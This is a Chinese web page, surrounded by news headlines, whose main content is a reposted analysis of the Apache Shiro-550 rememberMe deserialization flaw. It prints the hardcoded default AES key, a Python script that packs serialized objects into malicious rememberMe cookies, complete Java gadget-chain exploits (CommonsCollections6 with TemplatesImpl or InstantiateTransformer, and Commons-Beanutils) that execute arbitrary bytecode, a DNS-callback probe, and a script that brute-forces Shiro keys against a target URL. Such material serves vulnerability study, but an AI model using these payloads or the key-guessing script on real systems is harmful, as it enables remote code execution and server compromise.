最新要闻
- 9名初中生花18元点18串里脊庆生 网友看哭:回不去的年华
- 今日报丨金钱豹回拜游客 动物园回应:没人教、第一次见
- 世界今日报丨隅田川进口胶囊咖啡液8杯到手10.9元:更鲜更好喝
- 全球最资讯丨A卡有能力跟RTX 4090正面刚 AMD:不做是因为太贵、功耗高
- 微头条丨深山红烛 照亮希望
- 每日快报!安全性不行 Win7系统真的别用了 又一个游戏《堡垒之夜》放弃支持
- 每日快播:童年回来了!《灌篮高手》发布流川枫角色海报
- 今日热闻!光速破发?iPhone 14黄色版还未开售便降价600元
- 华硕发布ROG Strix Impact III鼠标:双手通用、可更换微动插槽
- 真香!重庆购买HUAWEI问界M7直补3万:起售仅25.98万
- 当前简讯:滴滴快车预付车费什么时候退款_滴滴快车预付车费什么意思
- 今日播报!客服回应疯狂小杨哥带货翻车:有巡查、违规会处罚
- 怕了吗?长城公布“1000万悬赏计划”:严厉打击网络水军
- 天天通讯!伊朗外长:伊沙恢复外交关系将为两国和地区发展注入巨大动能
- 世界快讯:日系车掀起买一送一热潮:买皓影插混送飞度、买日产楼兰送轩逸
- 天天热资讯!50万以内最舒适二排 理想L7正式交付:31.98万起售
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
资讯:shiro-550反序列化漏洞分析
0x00 环境搭建
- 首先下载有漏洞的版本
https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4
- 配置 samples/web的pom文件
- 配置tomcat
配置完成后点击debug调试,出现这个界面
0x01 利用版本
shiro≤1.2.4
【资料图】
0x02 漏洞原理
shiro默认使用了CookieRememberMeManager
,其处理cookie的流程是:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造的顺序则就是相对的反着来:
恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。
shiro特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
0x03 漏洞复现
登陆的时候勾选Remember Me选项,此时返回包会返回一个RememberMe
刷新再抓包,去除掉cookie中的JSESSIONID,因为有了这个之后就通过sessionid识别用户,无法触发rememberme里面的反序列化。然后替换rememberMe为构造好的payload,重发就行了
0x04 漏洞分析
加密分析
入口是在AbstractRememberMeManager.onSuccessfulLogin
方法
if验证完token之后进入到rememberIdentity函数
这里吧subject和authcInfo传入getIdentityToRemember,跟进一下
这里再跟进后没看懂 反正一系列操作下来返回的就是用户名,所以principals就是用户名了 那么返回到rememberIdentity函数
这里调用了一个convertPrincipalsToBytes 大致意思就是把用户名序列化,跟进看一下
看一下发现这里有一个加密的过程,这里debug出是AES-CBC模式,然后确实读代码也能发现这个是固定的
这里就是serialize了principals(用户名),然后跟进一下rememberSerializedIdentity,发现是base64了一下然后保存了
所以流程就是Serialize+AES+base64存储到cookie里面然后返回
解密分析
我们从getRememberedIdentity
开始分析,文件位置org/apache/shiro/mgt/DefaultSecurityManager.java
这里return一个getRememberedPrincipals
跟进一下
继续跟进getRememberedSerializedIdentity
简单分析一下就是获取Cookie中的rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。
所以我们返回 getRememberedPrincipals
然后跟进到下一步的convertBytesToPrincipals
这里进行了解密和反序列化的操作,看一下deserialize
继续跟进
果然 这里进行了相应对应的readObject(),所以解密的流程也就有了:获取cookie判断是不是deleteMe,然后base解码,对结果进行aes解密后再反序列化
URLDNS链
加密脚本,实现读取ser.bin,进行aes→base64
import uuidimport base64from Crypto.Cipher import AESdef get_file_data(filename): with open(filename,"rb") as f: return f.read()def encode_rememberme(): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(get_file_data("serz.bin")) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == "__main__": payload = encode_rememberme() print("rememberMe={0}".format(payload.decode()))
urldns链子生成
import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class urldns { public static void main(String[] args) throws Exception{ HashMap h=new HashMap(); URL url=new URL("http://urldns33.kgtism.dnslog.cn"); Class cls=Class.forName("java.net.URL"); setFieldValue(url,"hashCode",1);//为了防止在serialize的时候就产生了url请求 h.put(url,1); setFieldValue(url,"hashCode",-1);// ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));// oos.writeObject(h); serialize(h);// ByteArrayOutputStream b = new ByteArrayOutputStream();// ObjectOutputStream oos = new ObjectOutputStream(b);// oos.writeObject(h);// byte[] Bytes = b.toByteArray();// Base64.Encoder encoder = Base64.getEncoder();// String base64 = encoder.encodeToString(Bytes);// System.out.println(base64); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
先生成urldns链子 然后运行py脚本得到
这里我们用的是dnslog生成一个url,然后抓包,记得去掉sessionid
最后得到结果,成功执行
cc6+TemplatesImpl
这里用一个插件可以分析maven的依赖,我们知道maven在编译和运行的时候只会把complie打进包里面,而test是不会打进来的,所以理论上来说用cc的打shiro是大不了的,只能打cb
这里我们本地测试的话先加上一个cc的依赖
有了依赖 理论上来说我们就可以用cc链子来打,那么我们直接用cc6试一下
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class cc6poc{ public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");// outerMap.remove("keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); setFieldValue(transformerChain,"iTransformers",transformers); // ================== // ⽣成序列化字符串 serialize(expMap);// unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin")); oos.writeObject(obj); } //反序列化数据 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
打完之后发现并没有弹出计算器,也就是并没有成功执行命令,我们本地看一下服务器报错
许多的报错大致说的就是没法加载transformer数组里面的所有东西
这里再查看报错信息倒数第一行,也就是这个类:org.apache.shiro.io.ClassResolvingObjectInputStream。可以看到,这是一个ObjectInputStream的子类,重写了resolveClass()方法:
resolveClass
是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.Class
对象。
对比一下它的父类,也就是正常的 ObjectInputStream 类中的resolveClass()
方法:
区别就是前者用的是org.apache.shiro.util.ClassUtils#forName
(实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass
),而后者用的是Java原生的Class.forName
我们可以在捕获异常的位置下个断点,判断一下是哪个类触发了异常
这里可能cc6构造的不太一样?最后我调试出来的结果不一样
这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。
- 这里留一个坑点,回头补上。
承接刚才的结论吧,我们无法使用Transformer数组,但是并不是无法继续搞了,我们回顾一下cc链调用图:
理论上来说只要最后走Runtime.exec()的话,都需要用到transformer数组的 因为我们需要一个数组放进chaintransformer里面构成循环调用,还需要一个constanttransformer进行初始化我们的第一个参,这里我们发现cc2和cc4是不需要用到transformer数组的 ,但是依赖的都是commons collections4的包,当前环境是没法利用的。
所以我们可以尝试修改cc6,大致思路是cc6里面有个TideMapEntry可以传入一个key,key就可以作为触发transform方法时候的传参,此时不需要constanttransformer 自然也可以避开chainedtransformer,命令执行我们利用TemplateSimple就行
看一下TiedMapEntry:
当这个map是LazyMap的时候,get就是触发transform的关键,此时的key就作为了一个参数
之前我们对于LazyMap#get参数不关心,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get
的参数key,会被传进transform()
,实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。我们LazyMap.get(key)
直接调用InvokerTransfomer.transform(key)
,然后像CC2那样调用TempalteImpl.newTransformer()
来完成后续调用。
利用链如图所示
首先还是创建TemplatesIml对象:(命令执行部分)
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "calc");
然后创建一个用来newTransformer()方法的InvokerTransformer
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
然后再cc6的前半段拿过来
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry tme = new TiedMapEntry(outerMap,obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove(obj); setFieldValue(outerMap,"factory",newTransformer);
最终EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class shiro_cc { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "calc"); InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry tme = new TiedMapEntry(outerMap,obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove(obj); setFieldValue(outerMap,"factory",newTransformer); serialize(expMap); unserialize("szzz.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin")); oos.writeObject(obj); } //反序列化数据 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
最后成功命令执行了
cc6+instantiateTransformer
这里的话还有个链子就是cc6+instantiateTransformer后续部分
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class shiro_cc2 { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "calc");// InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj}); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1)); TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove(TrAXFilter.class); setFieldValue(outerMap,"factory",instantiateTransformer); serialize(expMap); unserialize("szzz.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin")); oos.writeObject(obj); } //反序列化数据 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
也是可以成功命令执行:
Commons-Beanutils1链
如上介绍的两种方式都是依赖于Commmons Collections,但是原生的shiro是没有cc的,所以我们就只能用shiro原生的类进行代码执行,也就用到了之前我们分析依赖的时候用到的一个Commons Beanutils,这里用到了Javabean
举个例子:
import org.apache.commons.beanutils.PropertyUtils; import java.lang.reflect.InvocationTargetException; public class Bean { private String name = "cc"; public String getName() { return name; } public void setName(String name) { this.name = name; } public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { System.out.println(PropertyUtils.getProperty(new Bean(),"name")); System.out.println("cc"); }}
demo包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。
在commons-beanutils中提供了静态方法PropertyUtils.getProperty
,通过调用这个静态方法,可以直接调用任意JavaBean
中的getter
方法。
我们可以通过这个方法对bean里面的get和set方法进行调用
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
所以我们就要想办法利用PropertyUtils.getProperty()方法构造我们的利用链,回顾一下cc联众没有用到CommonsCollection包的部分
如上我们可以知道只有红框部分没用到,也就是说我们命令执行的方法只能选择TemplatesImpl实现类加载任意代码执行,所以我们需要找哪里可以调用TemplatesImpl.newTransformer()方法,通过find usages我们找到了TemplatesImpl.getOutputProperties()
这个方法里面调用了newTransformer(),而getOutputProperties
这个名字,是以get
开头,正符合getter的定义。所以,PropertyUtils.getProperty( obj, property )
这段代码,当obj是一个TemplatesImpl
对象,而property
的值为outputProperties
时,将会自动调用getter,也就是TemplatesImpl.getOutputProperties()
方法,触发代码执行。
所以这里找哪里可以调用PropertyUtils.getProperty()
,这里的话找到是commons-beanutils包中org.apache.commons.beanutils.BeanComparator
的compare()
方法:
传入两个对象,如果this.property为空,直接比较这两个对象;如果不为空,贼getProperty来分取两个对象的this.property属性, 然后比较属性的值
cc链里2和4都用到了compare(),所以我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了
写EXP:
- 创建TemplateImpl:
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "calc");
- 实例化BeanComparator,当BeanComparator构造函数为空时,默认的Property就是空
final BeanComparator comparator = new BeanComparator();
- 然后用这个comparator实例化优先队列
PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue<>(comparator); priorityQueue.add(1); priorityQueue.add(2);
我们添加了两个无害的可以比较的对象进队列中。BeanComparator.compare()
中,如果this.property
为空,则直接比较这两个对象。这里实际上就是对两个1
进行排序。初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。
- 然后,我们再用反射将
property
的值设置成恶意的outputProperties
,将队列里的两个1
替换成恶意的TemplateImpl
对象(也和cc2一样,至少得改第一个,具体细节参考cc2):
setFieldValue(comparator, "property", "outputProperties"); setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
最终EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "calc"); final BeanComparator comparator = new BeanComparator(); PriorityQueue priorityQueue = new PriorityQueue<>(comparator); priorityQueue.add(1); priorityQueue.add(2); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(priorityQueue, "queue", new Object[]{obj, obj}); serialize(priorityQueue); unserialize("serzsd.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin")); oos.writeObject(obj); } //反序列化数据 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
最后成功命令执行
(我的小疑问 这里看组长的视频是打不通的 不知道是什么原因,试了很多payload构造都是能打通)
0x06 漏洞探测
指纹识别
在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为rememberMe
字段赋任意值,收到返回包的 Set-Cookie 中存在rememberMe=deleteMe
字段,说明目标有使用Shiro框架,可以进一步测试。
AES密钥判断
前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。
那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe
字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe
字段。
因此我们需要构造payload排除类型转换错误,进而准确判断密钥。
shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。
大佬Veraxy写的脚本:
import base64import uuidimport requestsfrom Crypto.Cipher import AES def encrypt_AES_GCM(msg, secretKey): aesCipher = AES.new(secretKey, AES.MODE_GCM) ciphertext, authTag = aesCipher.encrypt_and_digest(msg) return (ciphertext, aesCipher.nonce, authTag) def encode_rememberme(target): keys = ["kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==","66v1O8keKNV3TTcGPK1wzg==", "SDKOLKn2J1j/2BHjeZwAoQ=="] # 此处简单列举几个密钥 BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes d file_body = base64.b64decode("rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==") for key in keys: try: # CBC加密 encryptor = AES.new(base64.b64decode(key), mode, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body))) res = requests.get(target, cookies={"rememberMe": base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False) if res.headers.get("Set-Cookie") == None: print("正确KEY :" + key) return key else: if "rememberMe=deleteMe;" not in res.headers.get("Set-Cookie"): print("正确key:" + key) return key # GCM加密 encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key)) base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2]) res = requests.get(target, cookies={"rememberMe": base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False) if res.headers.get("Set-Cookie") == None: print("正确KEY:" + key) return key else: if "rememberMe=deleteMe;" not in res.headers.get("Set-Cookie"): print("正确key:" + key) return key print("正确key:" + key) return key except Exception as e: print(e)
简单测试:d
0x07 注意事项
- shiro版本问题
直接ysoserial里面的CB链子是打不通的,原因是ysoserial里面用CB链子依赖的版本是1.9.2
而shiro自带的为1.8.3
服务端会显示报错:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
- 原生依赖问题
BeanComparator的这个构造函数默认调用ComparableComparator.getInstance();,也就是有个默认的Comparator
然而这个东西又是commons.collections
里面的(因为他们的设计某种程度上来说就是重叠了),所以这里用到了它没有的依赖就会产生报错
解决方法就是我们可以指定一个comparator,构造的时候直接传入就行了
至于我们如何选择Comparator,需要满足以下几个条件
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- Java、shiro或commons-beanutils自带,且兼容性强
接口,都找出来然后写个取交集的脚本
- find.py
with open("com.txt") as f: data=f.readlines()with open("ser.txt") as f2: data2=f2.readlines()print(*[i for i in data if i in data2])
最后发现这个就可以
EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cb2 { public static void main(String[] args) throws Exception { byte[] code = Files.readAllBytes(Paths.get("E:\\java\\cc1\\target\\classes\\exec.class")); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {code}); setFieldValue(obj, "_name", "calc"); BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare()); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(obj); priorityQueue.add(2); setFieldValue(priorityQueue,"comparator",comparator);// setFieldValue(comparator, "property", "outputProperties");// setFieldValue(priorityQueue, "queue", new Object[]{obj, obj}); serialize(priorityQueue); unserialize("serzsd.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin")); oos.writeObject(obj); } //反序列化数据 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}
参考资料:
- https://johnfrod.top/%E5%AE%89%E5%85%A8/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
- P牛的Java安全漫谈
- https://www.bilibili.com/video/av592012084
- https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247485052&idx=1&sn=b007a722e233b45982b7a57c3788d47d&scene=21#wechat_redirect
关键词:
-
资讯:shiro-550反序列化漏洞分析
0x00环境搭建首先下载有漏洞的版本https: codeload github com apache shiro zip refs tags shiro-root-1 2 4配置samp
来源: 资讯:shiro-550反序列化漏洞分析
资讯:64.异常
世界热文:[新媒体运营]新媒体运营概述
9名初中生花18元点18串里脊庆生 网友看哭:回不去的年华
今日报丨金钱豹回拜游客 动物园回应:没人教、第一次见
世界今日报丨隅田川进口胶囊咖啡液8杯到手10.9元:更鲜更好喝
有赞一面:还有任务没执行,线程池被关闭怎么办?
全球快看点丨注解与反射
java基础二-面向对象的三大特性
全球最资讯丨A卡有能力跟RTX 4090正面刚 AMD:不做是因为太贵、功耗高
微头条丨深山红烛 照亮希望
环球新消息丨Redis 深度学习
环球快资讯:前端设计模式——策略模式
新消息丨MySQL学习笔记-SQL实践1
每日快报!安全性不行 Win7系统真的别用了 又一个游戏《堡垒之夜》放弃支持
每日快播:童年回来了!《灌篮高手》发布流川枫角色海报
每日报道:使用web client对 vcenter 进行补丁升级
有监督学习——梯度下降
全球百事通!聪明的燕姿
当前视点!Oracle数据库中没有scott账户的方法
今日热闻!光速破发?iPhone 14黄色版还未开售便降价600元
华硕发布ROG Strix Impact III鼠标:双手通用、可更换微动插槽
真香!重庆购买HUAWEI问界M7直补3万:起售仅25.98万
当前简讯:滴滴快车预付车费什么时候退款_滴滴快车预付车费什么意思
世界通讯!网络安全(中职组)-B模块:Web安全应用-2
今日播报!客服回应疯狂小杨哥带货翻车:有巡查、违规会处罚
怕了吗?长城公布“1000万悬赏计划”:严厉打击网络水军
【世界新要闻】四位计数器testbench的设计
世界滚动:chatgpt 集成飞书实践指南
自以为是 与 思考
天天通讯!伊朗外长:伊沙恢复外交关系将为两国和地区发展注入巨大动能
世界快讯:日系车掀起买一送一热潮:买皓影插混送飞度、买日产楼兰送轩逸
天天热资讯!50万以内最舒适二排 理想L7正式交付:31.98万起售
环球新资讯:10年分红1000多亿!董明珠鼓励员工“砸锅卖铁”买格力股票
剪刀石头布的算法
资讯推荐:全球最强!传音发布260W有线、110无线快充:8分钟充满
世界观热点:美国科学家改变人类科技、终极能源即将实现?真相来了!
世界快讯:《原子之心》更新:添加FOV设置、删除种族主义动画
Shell命令-常用操作2
【质因数分解算法详解】C/Java/Go/Python/JS/Dart/Swift/Rust等不同语言实现
今亮点!霸道女总裁加盟《碟中谍8》
天天播报:00后男生每天下班后卖烤肠解压 50元投资日赚200元:厌恶刷视频、打游戏
【时快讯】网络安全(中职组)-B模块:Web安全渗透测试
环球新消息丨K8S 性能优化-K8S Node 参数调优
环球微速讯:比进口价格便宜!海南三亚榴莲今年6月将大规模上市
当废物挺好?委员称年轻人想躺平更多是调侃 奋斗的是大多数
天天亮点!中国足彩网竞彩11日推荐:曼城取胜无悬念
焦点短讯!使用SSM+Shiro+Layui框架,基于RBAC3模型开发的权限管理系统
snort入侵检测基础概述
当前播报:amusements
环球热议:6月上映!《变形金刚7》角色海报发布:擎天柱、猩猩队长亮相
【速看料】降价潮席卷全国 车企尽数参战是为何?乘联会解答:国六B要来了
观热点:01-C语言概述
环球今热点:真正油电同价!比亚迪投放“深水炸弹”:13.4万买宋Pro DM-i超级混动
环球通讯!立春来首场寒潮横扫我国大部:多地将遭遇滑梯式降温 最高降20℃
【新要闻】活久见!女生家中发现神奇圆柱形手机:登QQ、手电筒、拍照 功能多到炸
读Java性能权威指南(第2版)笔记13_堆内存下
最便宜竖折叠继任者!摩托罗拉Razr 2023真机图出炉:首次拼色后壳
当前快报:汽车价格战新进展:南北大众同日入局 丰田买一辆送一辆
世界速递!day05-功能实现04
Vue————Vue v2.7.14 入口文件【二】
【时快讯】《满江红》中国影史票房榜第6:力压《唐人街探案3》 票房突破45.23亿
